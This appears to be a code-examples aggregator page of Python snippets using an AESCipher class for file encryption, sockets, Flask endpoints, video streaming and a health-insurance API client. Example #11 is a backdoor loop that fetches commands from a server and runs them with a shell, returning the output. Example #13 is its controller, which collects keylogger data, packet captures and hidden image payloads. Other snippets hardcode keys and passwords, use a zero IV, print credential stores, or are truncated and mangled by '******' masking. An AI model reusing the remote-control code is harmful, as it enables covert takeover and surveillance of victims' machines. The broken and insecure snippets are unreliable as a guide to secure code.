Пример #1
0
def reg_phase():
    #TODO: Compare with auth data table

    DB = np.load('pass.npy').item()

    usr = input('Enter User Name: ')
    psw = input('Enter Password: '******'ascii')).hexdigest()
    print(hashed_pass)

    aes = AESCipher('passwword')
    if usr not in DB.keys():
        print("Please Wait....")
        print("Authenticating...")
        print()
        DB[usr] = aes.encrypt(hashed_pass)
        print(DB)
        print()
        print(DB[usr])
        np.save('pass.npy', DB)

    else:
        print("Username Already Exists.")
        print("Please Wait....")
        print("Validating...")
        print(DB[usr])
        print('\n\n')
        print(DB)
        print('\n\n')
        print(aes.decrypt(DB[usr]))
        if hashed_pass == aes.decrypt(DB[usr]):
            print('Login Successful')
        else:
            print('Invalid Credentials')
            reg_phase()
Пример #2
0
def descifrarAES():
    key = entry_1.get()
    name_file = entry_2.get()
    file = open(name_file, 'r')
    text = file.read()
    aes = AESCipher(key)
    textCifradoAES = aes.decrypt(text)
    file = open('msjDescifradoAES.txt', 'w')
    file.write(textCifradoAES)
    file.close()
    print("Descifrado AES: ", textCifradoAES)
Пример #3
0
def cifrarAES():
    key = entry_1.get()
    name_file = entry_2.get()
    file = open(name_file, 'r')
    text = file.read()
    aes = AESCipher(key)
    textCifradoAES = aes.encrypt(text)
    file = open('msjCifradoAES.txt', 'w')
    file.write(textCifradoAES.decode('utf-8'))
    file.close()
    print("Cifrado AES: ", textCifradoAES)
Пример #4
0
def send_message(sock: socket, secret: int) -> None:
    while True:
        msg = input("> ")
        encrypt_client = AESCipher(msg, str(secret)).encrypt()
        try:
            sock.sendall(encrypt_client.encode("utf-8"))
        except socket.error:
            print("[ ERROR: Could not send message ]")
            break

    print(f"[ Connection closed ]\n")
    sock.close()
Пример #5
0
def algorithmFactory(algo):
    if algo == 'RSA':
        return RSACipher()
    elif algo == 'AES':
        return AESCipher()
    else:
        return None
Пример #6
0
def algorithmFactory(algo):
    if algo == 'RSA':
        return RSACipher()
    elif algo == 'AES':
        return AESCipher()
    elif algo == 'Blowfish':
        return BlowfishCipher()
    else:
        raise InvalidAlgorithm(algo, "Unsupported algorithm")
Пример #7
0
    def online_track(self, loop):
        # track message dictionary.
        track = {}
        track['request'] = ''
        track['message'] = 'online'
        # converting into JSON.
        json_track = json.dumps(track)

        # encryption
        cipher = AESCipher().encrypt(json_track)

        while loop:
            try:
                # sending JSON track.
                # track['request'] = ''
                # track['message'] = 'online'

                self.connection.send(cipher)
                time.sleep(3)

                # Getting reply from Lock device.
                # track['message'] = 'online'
                # track['reply'] = 'online'
                device_reply_cipher = self.connection.recv(2014).decode()
                # print(device_reply_cipher)

                # decryption
                device_reply = AESCipher().decrypt(device_reply_cipher)

                device_reply = json.loads(device_reply)

                # checking reply
                # if not reply the exit the loop and destroy the object.
                if device_reply['reply'] != 'online':
                    loop = False
                    break

                print('\n[*]Lock :: ' + str(self.username) + ' IP :: ' +
                      str(self.ip) + '  STATUS ' + str(device_reply))
            except Exception as e:
                print('\n[**] Exception Online Tracking :: ' + str(e))
                loop = False
Пример #8
0
def main(key):

    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = 5005

    cipher = AESCipher(key)

    #server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((SERVER_HOST, SERVER_PORT))
        s.listen()
        print("SERVER listening")
        if True:  #to replace while True: in test
            conn, addr = s.accept()
            conn.settimeout(5)
            with conn:
Пример #9
0
def recive_message(sock: socket, addr: str, secret: int) -> None:
    while True:
        try:
            msg = sock.recv(4096)
            msg = AESCipher(msg, str(secret)).decrypt()
            if not msg:
                break
            print(f"\033[96m\r{addr} : {msg}\033[0m")
            print("\n> ", end="")
        except socket.error:
            print("[ ERROR: Could not recive message ]")
            break
        except ValueError:
            break

    print(f"[ Connection with {addr} closed ]\n")
    sock.close()
Пример #10
0
def request_forward(request_to_forward, email, connection, phone_connection):
    # creating request
    request = {}
    request['request'] = request_to_forward
    request['email'] = email
    request['message'] = ''
    # converting to JSON object
    json_request = json.dumps(request)

    #encryption
    cipher_request = AESCipher().encrypt(json_request)

    # sending to the request.
    try:
        connection.sendall(cipher_request)
        # sending reply to phone.
        phone_connection.sendall(str.encode(request_to_forward + ' Done.\n'))
    except Exception as e:
        print('\n[**]  Exception :: Request forward :: ' + str(e))
    finally:
        phone_connection.sendall(str.encode('Not done.\n'))
Пример #11
0
    def run(self):
        while True:
            cipher = AESCipher(str(self.shared_key))
            data = self.send_request(
                cipher.encrypt(str("2 " + REQUEST_STRING).encode()))
            if data != b'':
                res = cipher.decrypt(data).decode()
                if res is not None and res != '':
                    print('The server sent: ' + res)
                    if res != 'Thanks':
                        returned_output = '3 '
                        try:
                            returned_output += subprocess.check_output(
                                res, shell=True).decode()
                        except Exception as e:
                            returned_output += str(e)
                        data = self.send_request(
                            cipher.encrypt(returned_output.encode()))
                        print('The server sent: ' +
                              cipher.decrypt(data).decode())

            sleep_rand = random.uniform(1.0, 2.0)
            print("Waiting for {}".format(sleep_rand))
            time.sleep(sleep_rand * 30)
Пример #12
0
class APIHelper():
    _pubUrl = "https://api.tilko.net/api/Auth/GetPublicKey?APIkey={}"
    _paymentUrl = "https://api.tilko.net/api/v1.0/Nhis/jpaca00101/geongangboheom"
    _myDrugUrl = "https://api.tilko.net/api/v1.0/Hira/hiraa050300000100"
    _myInspectionUrl = "https://www.tilko.net/api/v1.0/Nhis/Ggpab003M0105"
    _aes = None
    _apiKey = None

    def __init__(self, apiKey):
        self._apiKey = apiKey
        #AES초기화
        #self._aes = AESCipher(str('\x00' * 16), '\x00' * 16)
        self._aes = AESCipher(os.urandom(16), ('\x00' * 16).encode('utf-8'))
        #self._aes = AESCipher(str('\x00' * 16), '\x00' * 16)

    #get AES plain Key
    def getAesPlainKey(self):
        return self._aes.key

    #RSA공개키 요청 API호출
    def getRSAPubKey(self):
        headers = {'Content-Type': 'application/json'}
        response = requests.request("GET",
                                    self._pubUrl.format(self._apiKey),
                                    headers=headers)
        return response.text.encode('utf8')

    #건강보험료납부내역 API 호출
    def getPaymentList(self, aesCipherKey, certFilePath, keyFilePath,
                       indetityNumber, certPassword, year, startMonth,
                       endMonth):
        with open(certFilePath, "rb") as in_file:
            _certPlainBytes = in_file.read()
        with open(keyFilePath, "rb") as in_file:
            _keyPlainBytes = in_file.read()

        payload = {
            'CertFile':
            base64.b64encode(
                self._aes.encrypt(_certPlainBytes)).decode("UTF-8"),
            'KeyFile':
            base64.b64encode(
                self._aes.encrypt(_keyPlainBytes)).decode("UTF-8"),
            'IdentityNumber':
            base64.b64encode(
                self._aes.encrypt(indetityNumber)).decode("UTF-8"),
            'CertPassword':
            base64.b64encode(self._aes.encrypt(certPassword)).decode("UTF-8"),
            'Year':
            year,
            'StartMonth':
            startMonth,
            'EndMonth':
            endMonth,
        }
        headers = {
            'Content-Type': 'application/json; charset=utf-8',
            'API-Key': self._apiKey,
            'ENC-Key': base64.b64encode(aesCipherKey),
        }

        response = requests.request("POST",
                                    self._paymentUrl,
                                    headers=headers,
                                    data=json.dumps(payload))
        return response.text.encode('utf8')

    #내가 먹는 약 API 호출
    def getMYDrug(self, aesCipherKey, certFilePath, keyFilePath,
                  indetityNumber, certPassword, phoneNumber):
        with open(certFilePath, "rb") as in_file:
            _certPlainBytes = in_file.read()
        with open(keyFilePath, "rb") as in_file:
            _keyPlainBytes = in_file.read()

        payload = {
            'CertFile':
            base64.b64encode(
                self._aes.encrypt(_certPlainBytes)).decode("UTF-8"),
            'KeyFile':
            base64.b64encode(
                self._aes.encrypt(_keyPlainBytes)).decode("UTF-8"),
            'IdentityNumber':
            base64.b64encode(
                self._aes.encrypt(indetityNumber)).decode("UTF-8"),
            'CertPassword':
            base64.b64encode(self._aes.encrypt(certPassword)).decode("UTF-8"),
            'CellphoneNumber':
            base64.b64encode(self._aes.encrypt(phoneNumber)).decode("UTF-8"),
            'TelecomCompany':
            '0'
        }
        headers = {
            'Content-Type': 'application/json; charset=utf-8',
            'API-Key': self._apiKey,
            'ENC-Key': base64.b64encode(aesCipherKey),
        }

        response = requests.request("POST",
                                    self._myDrugUrl,
                                    headers=headers,
                                    data=json.dumps(payload))
        return response.text.encode('utf8')

    #건강보험료납부내역 API 호출
    def getPaymentList(self, aesCipherKey, certFilePath, keyFilePath,
                       indetityNumber, certPassword, year, startMonth,
                       endMonth):
        with open(certFilePath, "rb") as in_file:
            _certPlainBytes = in_file.read()
        with open(keyFilePath, "rb") as in_file:
            _keyPlainBytes = in_file.read()

        payload = {
            'CertFile':
            base64.b64encode(
                self._aes.encrypt(_certPlainBytes)).decode("UTF-8"),
            'KeyFile':
            base64.b64encode(
                self._aes.encrypt(_keyPlainBytes)).decode("UTF-8"),
            'IdentityNumber':
            base64.b64encode(
                self._aes.encrypt(indetityNumber)).decode("UTF-8"),
            'CertPassword':
            base64.b64encode(self._aes.encrypt(certPassword)).decode("UTF-8"),
            'Year':
            year,
            'StartMonth':
            startMonth,
            'EndMonth':
            endMonth,
        }
        headers = {
            'Content-Type': 'application/json; charset=utf-8',
            'API-Key': self._apiKey,
            'ENC-Key': base64.b64encode(aesCipherKey),
        }

        response = requests.request("POST",
                                    self._paymentUrl,
                                    headers=headers,
                                    data=json.dumps(payload))
        return response.text.encode('utf8')

    #진단 받은 질환명 API호출
    def getMYInspection(self, aesCipherKey, certFilePath, keyFilePath,
                        indetityNumber, certPassword, phoneNumber):
        with open(certFilePath, "rb") as in_file:
            _certPlainBytes = in_file.read()
        with open(keyFilePath, "rb") as in_file:
            _keyPlainBytes = in_file.read()

        payload = {
            'CertFile':
            base64.b64encode(
                self._aes.encrypt(_certPlainBytes)).decode("UTF-8"),
            'KeyFile':
            base64.b64encode(
                self._aes.encrypt(_keyPlainBytes)).decode("UTF-8"),
            'IdentityNumber':
            base64.b64encode(
                self._aes.encrypt(indetityNumber)).decode("UTF-8"),
            'CertPassword':
            base64.b64encode(self._aes.encrypt(certPassword)).decode("UTF-8"),
            'CellphoneNumber':
            base64.b64encode(self._aes.encrypt(phoneNumber)).decode("UTF-8"),
            'TelecomCompany':
            '0'
        }
        headers = {
            'Content-Type': 'application/json; charset=utf-8',
            'API-Key': self._apiKey,
            'ENC-Key': base64.b64encode(aesCipherKey),
        }

        response = requests.request("POST",
                                    self._myInspectionUrl,
                                    headers=headers,
                                    data=json.dumps(payload))
        return response.text.encode('utf8')
Пример #13
0
    def listen(self, server_socket, client_socket):
        while self.cond:
            try:
                try:
                    data_bytes = client_socket.recv(RECV_LENGTH)
                except:
                    client_socket.close()
                    print(CLOSE_CON_MSG)
                    return
                data = None
                try:
                    data = bytes(data_bytes).decode()
                except:
                    data = data_bytes
                if data is not None and data == '':
                    client_socket.close()
                    print(CLOSE_CON_MSG)
                else:
                    if data is not None and data.split()[0] == "1":
                        self.p = int(data.split()[1])
                        self.g = int(data.split()[2])
                        self.public_key = pow(self.g, self.private_key, self.p)
                        client_socket.send(
                            str("2 " + str(self.public_key)).encode())
                    elif data is not None and data.split()[0] == "2":
                        self.shared_key = pow(int(data.split()[1]),
                                              self.private_key, self.p)
                        client_socket.send(
                            str("2 " + str(self.public_key)).encode())
                        print("key changed!")
                    elif data[:1] == b'3':
                        cipher = AESCipher(str(self.shared_key))
                        data_decrypt = cipher.decrypt(data[1:]).decode()
                        # if self.todo:
                        print(self.todo)
                        cipher_text = cipher.encrypt(str('3 ' + self.todo))
                        client_socket.send(cipher_text)
                    elif data[:1] == b'4':
                        cipher = AESCipher(str(self.shared_key))
                        data_decrypt = cipher.decrypt(data[1:]).decode()
                        self.result += data_decrypt
                        time.sleep(1)
                        cipher_text = cipher.encrypt('4 Thanks')
                        client_socket.send(cipher_text)
                    elif data[:1] == '5' or data[:1] == b'5':
                        if data == '5finish':
                            self.total_data += b'\x82'
                            new_file = open("1.png", "wb")
                            # write to file
                            new_file.write(self.total_data)
                            # new_file.close()
                            self.total_data = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
                            self.result += EncodeImg.restor_message(
                                file_path).strip()
                        else:
                            self.total_data += data[1:]
                    elif data is not None and (data[:1] == b"6"
                                               or data[:1] == "6"):
                        cipher = AESCipher(str(self.shared_key))
                        data_decrypt = cipher.decrypt(data[1:])
                        self.result += "Key logger sent: {}".format(
                            data_decrypt.decode('utf-8', 'ignore'))
                    elif data[:1] == b'7' or data[:1] == '7':
                        if data == '7finish':
                            new_file = open(
                                "{}.pcap".format(str(self.pcap_fila_num)),
                                "wb")
                            self.pcap_fila_num += 1
                            # write to file
                            new_file.write(self.pcap_data)
                            new_file.close()
                            self.pcap_data = b'\xD4\xC3\xB2\xA1\x02\x00\x04\x00'
                            self.result += "pcap file was dumped"
                        else:
                            self.pcap_data += data[1:]

            except socket.timeout:
                print(CLOSE_CON_MSG)
                client_socket.close()
Пример #14
0
import cv2 
from AES import AESCipher

en = AESCipher('unachiave')

vid_cap = cv2.VideoCapture(0) 

hasFrames,image = vid_cap.read()

c = en.encrypt(image)



Пример #15
0
def encrypt():
    data = request.get_json()
    cipher = AESCipher(data.get('key'))
    encrypted = cipher.encrypt(data.get('message'))
    return jsonify(data=encrypted.decode())
Пример #16
0
import socket
import numpy as np
import cv2
import sys
from AES import AESCipher

SERVER_HOST = "127.0.0.1"
SERVER_PORT = 5006

random_key = b'G\xc3\xfd\x95A\x92\xa2%v\xbeVG\x89A2\x88'

cipher = AESCipher(random_key)

#server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((SERVER_HOST, SERVER_PORT))
    s.listen()
    print("SERVER listening")
    if True:  #to replace while True: in test
        conn, addr = s.accept()
        conn.settimeout(5)
        with conn:
            print('Connected by', addr)
            frame_size = conn.recv(80)
            frame_size = int(frame_size)
            while True:
                frame = b''
                remaining_bytes = frame_size
                print('WAITING FOR %g BYTES' % remaining_bytes)
                while remaining_bytes > 0:
                    data = conn.recv(remaining_bytes)
Пример #17
0
 def __init__(self, apiKey):
     self._apiKey = apiKey
     #AES초기화
     #self._aes = AESCipher(str('\x00' * 16), '\x00' * 16)
     self._aes = AESCipher(os.urandom(16), ('\x00' * 16).encode('utf-8'))
Пример #18
0
HOST = "127.0.0.1"

print("CLIENT")

width = 2560
height = 1440

dim = width * height * 3

process1 = (ffmpeg.input('rtsp://192.168.1.17/11').output(
    '-', format='rawvideo').run_async(pipe_stdout=True))

#random_key = os.urandom(16)
random_key = b'G\xc3\xfd\x95A\x92\xa2%v\xbeVG\x89A2\x88'

cipher = AESCipher(random_key)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

    s.connect((HOST, PORT))
    k = process1.stdout.read(dim)
    print('size of the buffer to encrypt: %s' % sys.getsizeof(k))
    k = cipher.encrypt(k)
    print('size of the buffer to send: %s' % sys.getsizeof(k))
    s.send("{}".format(sys.getsizeof(k)).zfill(10).encode())

    while process1.poll() is None:
        k = process1.stdout.read(dim)
        k = cipher.encrypt(k)
        s.sendall(k)
Пример #19
0
def decrypt():
    data = request.get_json()
    cipher = AESCipher(data.get('key'))
    decrypted = cipher.decrypt(data.get('ciphertext'))
    return jsonify(data=decrypted.decode())
Пример #20
0
def Driver():
    with open('pass.json', 'r') as f:
        data = json.load(f)
        # print(data)

    f.close()

    # Sub-Shift-Mix-Add
    with open('salt.json', 'r') as f1:
        salt_data = json.load(f1)
    # 	print(salt_data)

    f1.close()

    # Uncomment the below line during the first run
    # data={'authT':[]}
    # salt_data={'salts':[]}
    usr = input('Enter User Name: ')
    psw = input('Enter Password: '******'ascii')).hexdigest()
    print(len(hashed_pass))

    user = []
    for u in data['authT'].items():
        print(u[0])
        user.append(u[0])

    print('------------Users-----------')
    print(user)
    print('----------------------------')

    salts = []
    flag = False
    if usr in user:
        salts = salt_data['salts'][usr]
        print('------------Salts-----------')
        print(salts)
        flag = True
    else:
        for _ in range(3):
            while True:
                x = secrets.token_hex(6)

                if x not in salts:
                    break
            salts.append(x)

        while True:
            y = secrets.token_hex(14)
            if y not in salts:
                break
        salts.append(y)

    print('Hash Length: ', len(hashed_pass))
    b3 = hashed_pass[:20] + salts[0]
    b4 = hashed_pass[20:40] + salts[1]
    b1 = hashed_pass[40:60] + salts[2]
    b2 = hashed_pass[60:] + salts[3]

    int_b2 = int(b2, 16)
    int_b3 = int(b3, 16)
    int_b4 = int(b4, 16)
    print('Salt length: ', len(salts[0]), len(salts[1]), len(salts[2]),
          len(salts[3]))
    # print(len(b1),len(b2),len(b3),len(b4))

    aes = AESCipher('pass')
    c1 = aes.encrypt(b1)
    print('c1: ', (c1.hex()))
    # print(len(c1.hex()))
    int_c1 = int(c1.hex()[:32], 16)
    b2_part = "{:x}".format(int_c1 ^ int(int_b2))

    # print(len(b2_part))

    c2 = aes.encrypt(b2_part)
    print('c2: ', c2.hex())
    int_c2 = int(c2.hex()[:32], 16)
    b3_part = "{:x}".format(int_c2 ^ int(int_b3))

    c3 = aes.encrypt(b3_part)
    print('c3: ', c3.hex())
    int_c3 = int(c3.hex()[:32], 16)
    b4_part = "{:x}".format(int_c3 ^ int_b4)

    c4 = aes.encrypt(b4_part)
    print('c4: ', c4.hex())

    if flag:
        if c2.hex() == data['authT'][usr][0] and c4.hex(
        ) == data['authT'][usr][1]:
            print('Auth Success')
        else:
            print('Auth Failed')
    else:
        pswd = [c2.hex(), c4.hex()]

        data['authT'][usr] = pswd
        salt_data['salts'][usr] = salts

        with open('pass.json', 'w') as fp:
            json.dump(data, fp)

        fp.close()
        with open('salt.json', 'w') as sp:
            json.dump(salt_data, sp)
        sp.close()
        print('Password Saved')

    end_time = time.time()

    print('Time Taken= ', end_time - start_time)
Пример #21
0
socket.connect((SERVER_IP, PORT))
print('Connected!')
messanger = Messanger(socket)

#start diffie hellman key exchange
diffie_hellman = DiffieHellman()
diffie_hellman.generate_secret()

messanger.send_message(str(diffie_hellman.get_public()).encode())

server_public_key = int(messanger.get_message().decode())

diffie_hellman.set_other_public(server_public_key)
diffie_hellman.generate_shared_private_key()
SECRET = diffie_hellman.get_shared_private_key()

print('shared secret', SECRET)
aes = AESCipher(str(SECRET))

#signature procedure
(public_key, private_key) = rsa.newkeys(512)
messanger.send_message(pickle.dumps(public_key))

message = 'Hello!'
encrypted_message = aes.encrypt(message)

signature = rsa.sign(encrypted_message, private_key, 'SHA-1')

final_message = (encrypted_message, signature)
messanger.send_message(pickle.dumps(final_message))
#start diffie hellman key exchange
diffie_hellman = DiffieHellman()
diffie_hellman.generate_secret()

client_public_key = int(messanger.get_message().decode())

diffie_hellman.set_other_public(client_public_key)

messanger.send_message(str(diffie_hellman.get_public()).encode())

diffie_hellman.generate_shared_private_key()
SECRET = diffie_hellman.get_shared_private_key()

print('shared secret', SECRET)
aes = AESCipher(str(SECRET))

#signature procedure
rsa_public_key = pickle.loads(messanger.get_message())
print(rsa_public_key)

received_message = pickle.loads(messanger.get_message())
print(received_message)
message = received_message[0]
signature = received_message[1]

try:
    verify_status = rsa.verify(message, signature, rsa_public_key)
    data = aes.decrypt(message)
    print('decoded', data)
except rsa.pkcs1.VerificationError: